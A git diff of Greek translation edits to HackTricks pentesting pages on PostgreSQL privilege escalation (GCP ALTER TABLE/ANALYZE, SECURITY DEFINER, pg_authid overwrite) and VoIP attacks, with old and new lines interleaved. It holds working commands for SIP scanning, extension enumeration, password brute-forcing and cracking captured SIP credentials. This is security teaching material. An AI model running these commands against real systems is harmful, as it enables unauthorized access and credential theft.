#### Ανύψωση δικαιωμάτων σε SUPERUSER
|
||||
#### Ανύψωση σε SUPERUSER
|
||||
|
||||
Συχνά συμβαίνει να βρείτε ότι **οι τοπικοί χρήστες μπορούν να συνδεθούν στο PostgreSQL χωρίς να παρέχουν κωδικό πρόσβασης**. Επομένως, αφού έχετε συγκεντρώσει **δικαιώματα για εκτέλεση κώδικα**, μπορείτε να εκμεταλλευτείτε αυτά τα δικαιώματα για να αποκτήσετε τον ρόλο **`SUPERUSER`**:
|
||||
```sql
|
||||
|
@ -584,13 +590,13 @@ host all all ::1/128 trust
|
|||
|
||||
### **ΑΛΛΑΓΗ ΠΙΝΑΚΑ privesc**
|
||||
|
||||
Στο [**συγκεκριμένο άρθρο**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) εξηγείται πώς ήταν δυνατή η **privesc** στο Postgres GCP καταχρώντας το προνόμιο ALTER TABLE που είχε χορηγηθεί στον χρήστη.
|
||||
Στο [**συγκεκριμένο άρθρο**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) εξηγείται πώς ήταν δυνατό να γίνει **privesc** στο Postgres GCP καταχρώντας το προνόμιο ALTER TABLE που είχε δοθεί στον χρήστη.
|
||||
|
||||
Όταν προσπαθείτε να **κάνετε άλλο χρήστη ιδιοκτήτη ενός πίνακα** θα πρέπει να λάβετε ένα **σφάλμα** που το εμποδίζει, αλλά φαίνεται πως το GCP έδινε αυτήν την **επιλογή στον μη-υπερχρήστη postgres user** στο GCP:
|
||||
Όταν προσπαθείτε να **κάνετε άλλο χρήστη ιδιοκτήτη ενός πίνακα**, θα έπρεπε να λάβετε ένα **σφάλμα** που το αποτρέπει, αλλά φαίνεται ότι η GCP έδινε αυτήν τη **επιλογή στον μη-υπερχρήστη postgres user** στη GCP:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (537).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Συνδυάζοντας αυτήν την ιδέα με το γεγονός ότι όταν οι εντολές **INSERT/UPDATE/ANALYZE** εκτελούνται σε έναν **πίνακα με λειτουργία δείκτη**, η **λειτουργία** καλείται ως μέρος της εντολής με τα **δικαιώματα ιδιοκτήτη του πίνακα**. Είναι δυνατόν να δημιουργηθεί ένας δείκτης με μια λειτουργία και να δοθούν δικαιώματα ιδιοκτήτη σε έναν **υπερχρήστη** πάνω σε αυτόν τον πίνακα, και στη συνέχεια να εκτελεστεί το ANALYZE στον πίνακα με την κακόβουλη λειτουργία που θα μπορεί να εκτελέσει εντολές επειδή χρησιμοποιεί τα δικαιώματα του ιδιοκτήτη.
|
||||
Συνδυάζοντας αυτήν την ιδέα με το γεγονός ότι όταν οι εντολές **INSERT/UPDATE/ANALYZE** εκτελούνται σε έναν πίνακα με μια λειτουργία δείκτη, η **λειτουργία** καλείται ως μέρος της εντολής με τα **δικαιώματα ιδιοκτήτη του πίνακα**. Είναι δυνατό να δημιουργηθεί ένας δείκτης με μια λειτουργία και να δοθούν δικαιώματα ιδιοκτήτη σε έναν **υπερχρήστη** πάνω σε αυτόν τον πίνακα, και στη συνέχεια να εκτελεστεί το ANALYZE στον πίνακα με την κακόβουλη λειτουργία που θα μπορεί να εκτελέσει εντολές επειδή χρησιμοποιεί τα δικαιώματα του ιδιοκτήτη.
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
|
@ -599,12 +605,12 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
#### Εκμετάλλευση
|
||||
|
||||
1. Ξεκινήστε δημιουργώντας έναν νέο πίνακα.
|
||||
2. Εισάγετε μερικό άσχετο περιεχόμενο στον πίνακα για να παρέχετε δεδομένα για τη λειτουργία του δείκτη.
|
||||
2. Εισάγετε μερικό ασήμαντο περιεχόμενο στον πίνακα για να παρέχετε δεδομένα για τη λειτουργία του δείκτη.
|
||||
3. Αναπτύξτε μια κακόβουλη λειτουργία δείκτη που περιέχει ένα φορτίο εκτέλεσης κώδικα, επιτρέποντας την εκτέλεση μη εξουσιοδοτημένων εντολών.
|
||||
4. Αλλάξτε τον ιδιοκτήτη του πίνακα σε "cloudsqladmin," που είναι ο ρόλος υπερχρήστη του GCP που χρησιμοποιείται αποκλειστικά από το Cloud SQL για τη διαχείριση και συντήρηση της βάσης δεδομένων.
|
||||
5. Εκτελέστε μια λειτουργία ANALYZE στον πίνακα. Αυτή η ενέργεια υποχρεώνει τη μηχανή PostgreSQL να μεταβεί στο πλαίσιο χρήστη του ιδιοκτήτη του πίνακα, "cloudsqladmin." Ως εκ τούτου, η κακόβουλη λειτουργία δείκτη καλείται με τις άδειες του "cloudsqladmin," επιτρέποντας έτσι την εκτέλεση της προηγουμένως μη εξουσιοδοτημένης εντολής κέλυφους.
|
||||
4. Αλλάξτε τον ιδιοκτήτη του πίνακα σε "cloudsqladmin," που είναι ο ρόλος υπερχρήστη του GCP που χρησιμοποιείται αποκλειστικά από το Cloud SQL για τη διαχείριση και τη συντήρηση της βάσης δεδομένων.
|
||||
5. Εκτελέστε μια λειτουργία ANALYZE στον πίνακα. Αυτή η ενέργεια υποχρεώνει τη μηχανή PostgreSQL να μεταβεί στο πλαίσιο χρήστη του ιδιοκτήτη του πίνακα, "cloudsqladmin." Ως αποτέλεσμα, η κακόβουλη λειτουργία δείκτη καλείται με τις άδειες του "cloudsqladmin," επιτρέποντας έτσι την εκτέλεση της προηγουμένως μη εξουσιοδοτημένης εντολής κελύφους.
|
||||
|
||||
Στη PostgreSQL, αυτή η ροή μοιάζει κάπως έτσι:
|
||||
Στη PostgreSQL, αυτή η ροή φαίνεται κάπως έτσι:
|
||||
```sql
|
||||
CREATE TABLE temp_table (data text);
|
||||
CREATE TABLE shell_commands_results (data text);
|
||||
|
@ -631,7 +637,7 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
|||
```
|
||||
### Τοπική Σύνδεση
|
||||
|
||||
Κάποιες λανθασμένα διαμορφωμένες περιπτώσεις του postgresql ενδέχεται να επιτρέπουν τη σύνδεση οποιουδήποτε τοπικού χρήστη, είναι δυνατή η τοπική σύνδεση από τη διεύθυνση 127.0.0.1 χρησιμοποιώντας τη **συνάρτηση `dblink`**:
|
||||
Κάποιες λανθασμένα διαμορφωμένες περιπτώσεις του postgresql μπορεί να επιτρέπουν τη σύνδεση οποιουδήποτε τοπικού χρήστη, είναι δυνατή η τοπική σύνδεση από τη διεύθυνση 127.0.0.1 χρησιμοποιώντας τη **συνάρτηση `dblink`**:
|
||||
```sql
|
||||
\du * # Get Users
|
||||
\l # Get databases
|
||||
|
@ -664,7 +670,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
|||
```
|
||||
### **Προσαρμοσμένη ορισμένη συνάρτηση με** SECURITY DEFINER
|
||||
|
||||
[**Σε αυτήν την ανάλυση**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), οι ελεγκτές ασφαλείας κατάφεραν να πραγματοποιήσουν προνομιούχα αύξηση εντολών μέσα σε ένα περιβάλλον postgres που παρέχεται από την IBM, επειδή **εντόπισαν αυτήν τη συνάρτηση με τη σημαία SECURITY DEFINER**:
|
||||
[**Σε αυτό το άρθρο**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), οι ελεγκτές ασφαλείας κατάφεραν να προωθήσουν δικαιώματα μέσα σε ένα παράδειγμα postgres που παρέχεται από την IBM, επειδή **εντόπισαν αυτήν τη συνάρτηση με τη σημαία SECURITY DEFINER**:
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
|
@ -685,7 +691,7 @@ PERFORM dblink_disconnect();
|
|||
…
|
||||
</code></pre>
|
||||
|
||||
Όπως [**εξηγείται στα έγγραφα**](https://www.postgresql.org/docs/current/sql-createfunction.html) μια συνάρτηση με **SECURITY DEFINER εκτελείται** με τα προνόμια του **χρήστη που την κατέχει**. Επομένως, αν η συνάρτηση είναι **ευάλωτη σε Ενσωμάτωση SQL** ή εκτελεί κάποιες **προνομιούχες ενέργειες με παραμέτρους που ελέγχονται από τον εισβολέα**, θα μπορούσε να καταχραστεί για να **αυξήσει τα προνόμια μέσα στο postgres**.
|
||||
Όπως [**εξηγείται στα έγγραφα**](https://www.postgresql.org/docs/current/sql-createfunction.html) μια συνάρτηση με **SECURITY DEFINER εκτελείται** με τα προνόμια του **χρήστη που την κατέχει**. Επομένως, αν η συνάρτηση είναι **ευάλωτη στην εισχώρηση SQL** ή εκτελεί κάποιες **προνομιούχες ενέργειες με παραμέτρους που ελέγχονται από τον εισβολέα**, θα μπορούσε να καταχραστεί για να **αναβαθμίσει δικαιώματα μέσα στο postgres**.
|
||||
|
||||
Στη γραμμή 4 του προηγούμενου κώδικα μπορείτε να δείτε ότι η συνάρτηση έχει τη **σημαία SECURITY DEFINER**.
|
||||
```sql
|
||||
|
@ -697,10 +703,10 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Διέλευση με δύναμη Brute Force με το PL/pgSQL
|
||||
### Διέλευση με δύναμη με το PL/pgSQL
|
||||
|
||||
Το **PL/pgSQL** είναι μια **πλήρως λειτουργική γλώσσα προγραμματισμού** που προσφέρει μεγαλύτερο διαδικαστικό έλεγχο σε σύγκριση με την SQL. Επιτρέπει τη χρήση **βρόχων** και άλλων **δομών ελέγχου** για τη βελτίωση της λογικής του προγράμματος. Επιπλέον, **οι δηλώσεις SQL** και **οι ενεργοποιητές (triggers)** έχουν τη δυνατότητα να καλούν συναρτήσεις που δημιουργούνται χρησιμοποιώντας τη **γλώσσα PL/pgSQL**. Αυτή η ολοκλήρωση επιτρέπει μια πιο περιεκτική και ευέλικτη προσέγγιση στον προγραμματισμό βάσεων δεδομένων και την αυτοματοποίηση.\
|
||||
**Μπορείτε να καταχραστείτε αυτήν τη γλώσσα για να ζητήσετε από το PostgreSQL να δοκιμάσει με δύναμη Brute Force τα διαπιστευτήρια των χρηστών.**
|
||||
Το **PL/pgSQL** είναι μια **πλήρως λειτουργική γλώσσα προγραμματισμού** που προσφέρει μεγαλύτερο διαδικαστικό έλεγχο σε σύγκριση με την SQL. Επιτρέπει τη χρήση **βρόχων** και άλλων **δομών ελέγχου** για τη βελτίωση της λογικής του προγράμματος. Επιπλέον, **οι δηλώσεις SQL** και **οι ενεργοποιητές (triggers)** έχουν τη δυνατότητα να καλούν συναρτήσεις που δημιουργούνται χρησιμοποιώντας τη **γλώσσα PL/pgSQL**. Αυτή η ολοκλήρωση επιτρέπει μια πιο περιεκτική και ευέλικτη προσέγγιση στον προγραμματισμό και την αυτοματοποίηση της βάσης δεδομένων.\
|
||||
**Μπορείτε να καταχραστείτε αυτήν τη γλώσσα για να ζητήσετε από το PostgreSQL να δοκιμάσει με δύναμη τα διαπιστευτήρια των χρηστών.**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
||||
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
|
@ -709,23 +715,23 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
|||
### Ανύψωση δικαιωμάτων με τον Αντικατάσταση Εσωτερικών Πινάκων του PostgreSQL
|
||||
|
||||
{% hint style="info" %}
|
||||
Το παρακάτω διάνυσμα ανύψωσης δικαιωμάτων είναι ιδιαίτερα χρήσιμο σε περιορισμένα πλαίσια SQLi, καθώς όλα τα βήματα μπορούν να πραγματοποιηθούν μέσω εμφωλευμένων δηλώσεων SELECT
|
||||
Το ακόλουθο διάνυσμα ανύψωσης δικαιωμάτων είναι ιδιαίτερα χρήσιμο σε περιορισμένα πλαίσια SQLi, καθώς όλα τα βήματα μπορούν να πραγματοποιηθούν μέσω εμφωλευμένων δηλώσεων SELECT
|
||||
{% endhint %}
|
||||
|
||||
Αν μπορείτε να **διαβάσετε και να γράψετε αρχεία εξυπηρετητή PostgreSQL**, μπορείτε να **γίνετε υπερχρήστης** με τον τρόπο της αντικατάστασης του αρχείου στο δίσκο του PostgreSQL, που σχετίζεται με τον εσωτερικό πίνακα `pg_authid`.
|
||||
Αν μπορείτε να **διαβάσετε και να γράψετε αρχεία εξυπηρετητή PostgreSQL**, μπορείτε να **γίνετε υπερχρήστης** με τον αντικαταστάτη του PostgreSQL στο δίσκο, που σχετίζεται με τον εσωτερικό πίνακα `pg_authid`.
|
||||
|
||||
Διαβάστε περισσότερα για **αυτήν την τεχνική** [**εδώ**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
|
||||
|
||||
Τα βήματα της επίθεσης είναι:
|
||||
Τα βήματα της επίθεσης είναι τα εξής:
|
||||
|
||||
1. Αποκτήστε τον κατάλογο δεδομένων του PostgreSQL
|
||||
2. Αποκτήστε ένα σχετικό μονοπάτι προς το αρχείο στο δίσκο, που σχετίζεται με τον πίνακα `pg_authid`
|
||||
3. Κατεβάστε το αρχείο μέσω των λειτουργιών `lo_*`
|
||||
2. Αποκτήστε ένα σχετικό μονοπάτι προς τον κόμβο αρχείου, που σχετίζεται με τον πίνακα `pg_authid`
|
||||
3. Κατεβάστε τον κόμβο αρχείου μέσω των λειτουργιών `lo_*`
|
||||
4. Λάβετε τον τύπο δεδομένων, που σχετίζεται με τον πίνακα `pg_authid`
|
||||
5. Χρησιμοποιήστε το [Επεξεργαστή Αρχείων Filenode του PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) για να [επεξεργαστείτε το αρχείο](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); ορίστε όλες τις λογικές σημαίες `rol*` σε 1 για πλήρη δικαιώματα.
|
||||
6. Επαναφορτώστε το επεξεργασμένο αρχείο μέσω των λειτουργιών `lo_*`, και αντικαταστήστε το αρχικό αρχείο στο δίσκο
|
||||
5. Χρησιμοποιήστε το [Επεξεργαστή Κόμβου Αρχείου PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) για να [επεξεργαστείτε τον κόμβο αρχείου](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); ορίστε όλες τις λογικές σημαίες `rol*` σε 1 για πλήρη δικαιώματα.
|
||||
6. Επαναφορτώστε τον επεξεργασμένο κόμβο αρχείου μέσω των λειτουργιών `lo_*`, και αντικαταστήστε το αρχικό αρχείο στο δίσκο
|
||||
7. _(Προαιρετικά)_ Καθαρίστε τη μνήμη cache του πίνακα εκτελώντας μια δαπανηρή δήλωση SQL
|
||||
8. Πρέπει τώρα να έχετε τα δικαιώματα ενός πλήρους υπερδιαχειριστή.
|
||||
8. Θα πρέπει τώρα να έχετε τα προνόμια ενός πλήρους υπερδιαχειριστή.
|
||||
|
||||
## **POST**
|
||||
```
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Ελεγχος Πέντε VoIP
|
||||
# Ελεγχος Πεντεστινγκ VoIP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Βασικές Πληροφορίες VoIP
|
||||
|
||||
Για να ξεκινήσετε να μαθαίνετε πώς λειτουργεί το VoIP, ελέγξτε:
|
||||
Για να ξεκινήσετε να μαθαίνετε πώς λειτουργεί το VoIP ελέγξτε:
|
||||
|
||||
{% content-ref url="basic-voip-protocols/" %}
|
||||
[basic-voip-protocols](basic-voip-protocols/)
|
||||
|
@ -129,7 +129,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
|||
555 Push Notification Service Not Supported
|
||||
580 Precondition Failure
|
||||
```
|
||||
**6xx—Απαντήσεις Παγκόσμιας Αποτυχίας**
|
||||
**6xx—Αποκρίσεις Παγκόσμιας Αποτυχίας**
|
||||
```
|
||||
600 Busy Everywhere
|
||||
603 Decline
|
||||
|
@ -142,7 +142,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
|||
|
||||
### Τηλεφωνικοί Αριθμοί
|
||||
|
||||
Ένα από τα πρώτα βήματα που μπορεί να κάνει μια Κόκκινη Ομάδα είναι να αναζητήσει διαθέσιμους τηλεφωνικούς αριθμούς για επικοινωνία με την εταιρεία χρησιμοποιώντας εργαλεία OSINT, αναζητήσεις στο Google ή scraping τις ιστοσελίδες.
|
||||
Ένα από τα πρώτα βήματα που μπορεί να κάνει μια Κόκκινη Ομάδα είναι να αναζητήσει διαθέσιμους τηλεφωνικούς αριθμούς για επικοινωνία με την εταιρεία χρησιμοποιώντας εργαλεία OSINT, αναζητήσεις στο Google ή scraping των ιστοσελίδων.
|
||||
|
||||
Αφού έχετε τους τηλεφωνικούς αριθμούς, μπορείτε να χρησιμοποιήσετε online υπηρεσίες για να αναγνωρίσετε τον πάροχο:
|
||||
|
||||
|
@ -189,21 +189,21 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
|
|||
```
|
||||
### Πληροφορίες OSINT
|
||||
|
||||
Οποιαδήποτε άλλη αναγνώριση OSINT που βοηθά στην ταυτοποίηση του λογισμικού VoIP που χρησιμοποιείται θα είναι χρήσιμη για μια Ομάδα Ερυθράς.
|
||||
Οποιαδήποτε άλλη αναγνώριση OSINT που βοηθά στον εντοπισμό του λογισμικού VoIP που χρησιμοποιείται θα είναι χρήσιμη για μια Ομάδα Ερυθρά.
|
||||
|
||||
### Απαρίθμηση Δικτύου
|
||||
|
||||
* **`nmap`** είναι ικανό να σαρώνει υπηρεσίες UDP, αλλά λόγω του μεγάλου αριθμού υπηρεσιών UDP που σαρώνονται, είναι πολύ αργό και ενδέχεται να μην είναι πολύ ακριβές με αυτού του είδους τις υπηρεσίες.
|
||||
* Το **`nmap`** είναι ικανό να σαρώνει υπηρεσίες UDP, αλλά λόγω του μεγάλου αριθμού υπηρεσιών UDP που σαρώνονται, είναι πολύ αργό και ενδέχεται να μην είναι πολύ ακριβές με αυτού του είδους τις υπηρεσίες.
|
||||
```bash
|
||||
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
||||
```
|
||||
* **`svmap`** από το SIPVicious (`sudo apt install sipvicious`): Θα εντοπίσει τις υπηρεσίες SIP στο δίκτυο που υποδεικνύετε.
|
||||
* **`svmap`** από το SIPVicious (`sudo apt install sipvicious`): Θα εντοπίσει τις υπηρεσίες SIP στο δίκτυο που υποδεικνύεται.
|
||||
* Το `svmap` είναι **εύκολο να αποκλειστεί** επειδή χρησιμοποιεί το User-Agent `friendly-scanner`, αλλά μπορείτε να τροποποιήσετε τον κώδικα από το `/usr/share/sipvicious/sipvicious` και να το αλλάξετε.
|
||||
```bash
|
||||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
```
|
||||
* **`SIPPTS scan`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS scan είναι ένα πολύ γρήγορο εργαλείο σάρωσης για υπηρεσίες SIP μέσω UDP, TCP ή TLS. Χρησιμοποιεί πολλά νήματα και μπορεί να σαρώσει μεγάλους εύρους δικτύων. Επιτρέπει την εύκολη υποδειξη εύρους θυρών, σάρωση και TCP & UDP, χρήση ενός άλλου μεθόδου (από προεπιλογή θα χρησιμοποιήσει το OPTIONS) και καθορισμό διαφορετικού User-Agent (και άλλα).
|
||||
* **`SIPPTS scan`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS scan είναι ένα πολύ γρήγορο εργαλείο σάρωσης για υπηρεσίες SIP μέσω UDP, TCP ή TLS. Χρησιμοποιεί πολλά νήματα και μπορεί να σαρώσει μεγάλους εύρους δικτύων. Επιτρέπει την εύκολη υποδειξη εύρους θυρών, σάρωση και TCP & UDP, χρήση ενός άλλου μεθόδου (από προεπιλογή θα χρησιμοποιήσει το OPTIONS) και καθορισμό διαφορετικού User-Agent (και περισσότερα).
|
||||
```bash
|
||||
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
|
||||
|
@ -225,7 +225,7 @@ auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
|||
```
|
||||
#### Επιπρόσθετη Απαρίθμηση Δικτύου
|
||||
|
||||
Το PBX θα μπορούσε επίσης να εκθέτει άλλες υπηρεσίες δικτύου όπως:
|
||||
Το PBX θα μπορούσε επίσης να αποκαλύπτει άλλες υπηρεσίες δικτύου όπως:
|
||||
|
||||
- **69/UDP (TFTP)**: Ενημερώσεις Firmware
|
||||
- **80 (HTTP) / 443 (HTTPS)**: Για τη διαχείριση της συσκευής από το web
|
||||
|
@ -248,7 +248,7 @@ sippts enumerate -i 10.10.0.10
|
|||
```bash
|
||||
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
||||
```
|
||||
Είναι επίσης δυνατόν να ληφθούν δεδομένα εάν ο διακομιστής χρησιμοποιεί websockets. Με την εντολή `SIPPTS wssend` από το [**sippts**](https://github.com/Pepelux/sippts) μπορούμε να στείλουμε εξατομικευμένα μηνύματα WS.
|
||||
Είναι επίσης δυνατή η λήψη δεδομένων εάν ο διακομιστής χρησιμοποιεί websockets. Με το `SIPPTS wssend` από το [**sippts**](https://github.com/Pepelux/sippts) μπορούμε να στείλουμε εξατομικευμένα μηνύματα WS.
|
||||
```bash
|
||||
sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
||||
```
|
||||
|
@ -264,12 +264,12 @@ svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
|||
```bash
|
||||
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
||||
```
|
||||
* **metasploit**: Μπορείτε επίσης να απαριθμήσετε τις επεκτάσεις/ονόματα χρηστών με το metasploit:
|
||||
* **metasploit**: Μπορείτε επίσης να απαριθμήσετε επεκτάσεις/ονόματα χρηστών με το metasploit:
|
||||
```
|
||||
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
||||
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
||||
```
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** είναι ένα εργαλείο απαρίθμησης ονομάτων χρηστών πρωτοκόλλου Inter Asterisk Exchange (IAX). Το enumIAX μπορεί να λειτουργήσει σε δύο διακριτές λειτουργίες. Είτε σε Σειριακή Μάντεψη Ονομάτων Χρηστών είτε σε Επίθεση Λεξικού.
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** είναι ένα εργαλείο απαρίθμησης ονομάτων χρηστών πρωτοκόλλου Inter Asterisk Exchange (**username brute-force enumerator**). Το enumIAX μπορεί να λειτουργήσει σε δύο διακριτές λειτουργίες. Είτε σε Σειριακή Μάντεψη Ονομάτων Χρηστών είτε σε Επίθεση με Λεξικό.
|
||||
```bash
|
||||
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
||||
enumiax -v -m3 -M3 10.10.0.10
|
||||
|
@ -297,7 +297,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
```
|
||||
* **Metasploit**:
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb)
|
||||
|
||||
### Καταγραφή VoIP
|
||||
|
||||
|
@ -308,24 +308,24 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
Για να λάβετε αυτές τις πληροφορίες μπορείτε να χρησιμοποιήσετε εργαλεία όπως το Wireshark, tcpdump... αλλά ένα **ειδικά δημιουργημένο εργαλείο για την καταγραφή συνομιλιών VoIP είναι το** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Σημειώστε ότι αν χρησιμοποιείται **TLS στην επικοινωνία SIP** δεν θα μπορείτε να δείτε την επικοινωνία SIP με σαφήνεια.\
|
||||
Το ίδιο θα συμβεί αν χρησιμοποιούνται **SRTP** και **ZRTP**, τα **πακέτα RTP δεν θα είναι σε καθαρό κείμενο**.
|
||||
Σημειώστε ότι εάν χρησιμοποιείται **TLS στην επικοινωνία SIP** δεν θα μπορείτε να δείτε την επικοινωνία SIP με σαφήνεια.\
|
||||
Το ίδιο θα συμβεί εάν χρησιμοποιούνται **SRTP** και **ZRTP**, τα **πακέτα RTP δεν θα είναι σε καθαρό κείμενο**.
|
||||
{% endhint %}
|
||||
|
||||
#### Διαπιστευτήρια SIP (Επίθεση Brute-Force κωδικού - εκτός σύνδεσης)
|
||||
|
||||
[Ελέγξτε αυτό το παράδειγμα για να καταλάβετε καλύτερα μια **επικοινωνία εγγραφής SIP**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) για να μάθετε πώς **αποστέλλονται τα διαπιστευτήρια**.
|
||||
|
||||
* **`sipdump`** & **`sipcrack`,** μέρος του **sipcrack** (`apt-get install sipcrack`): Αυτά τα εργαλεία μπορούν να **εξάγουν** από ένα **pcap** τις **διαπιστεύσεις διακριτικού** μέσα στο πρωτόκολλο SIP και να τις **εξαναγκάσουν**.
|
||||
* **`sipdump`** & **`sipcrack`,** μέρος του **sipcrack** (`apt-get install sipcrack`): Αυτά τα εργαλεία μπορούν να **εξάγουν** από ένα **pcap** τις **διαπιστεύσεις διακριτικότητας** μέσα στο πρωτόκολλο SIP και να τις **εκτελέσουν brute-force**.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
```
|
||||
* **`SIPPTS dump`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dump μπορεί να εξάγει πιστοποιήσεις διαχύτη από ένα αρχείο pcap.
|
||||
* **`SIPPTS dump`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dump μπορεί να εξάγει πιστοποιήσεις διαχείρισης από ένα αρχείο pcap.
|
||||
```bash
|
||||
sippts dump -f capture.pcap -o data.txt
|
||||
```
|
||||
* **`SIPPTS dcrack`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dcrack είναι ένα εργαλείο για να αποκρυπτογραφήσετε τις διαπιστεύσεις που λαμβάνονται με το SIPPTS dump.
|
||||
* **`SIPPTS dcrack`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dcrack είναι ένα εργαλείο για να σπάσει τις διαπιστευτήριες πληροφορίες που λαμβάνονται με το SIPPTS dump.
|
||||
```bash
|
||||
sippts dcrack -f data.txt -w wordlist/rockyou.txt
|
||||
```
|
||||
|
@ -336,18 +336,18 @@ sippts tshark -f capture.pcap [-filter auth]
|
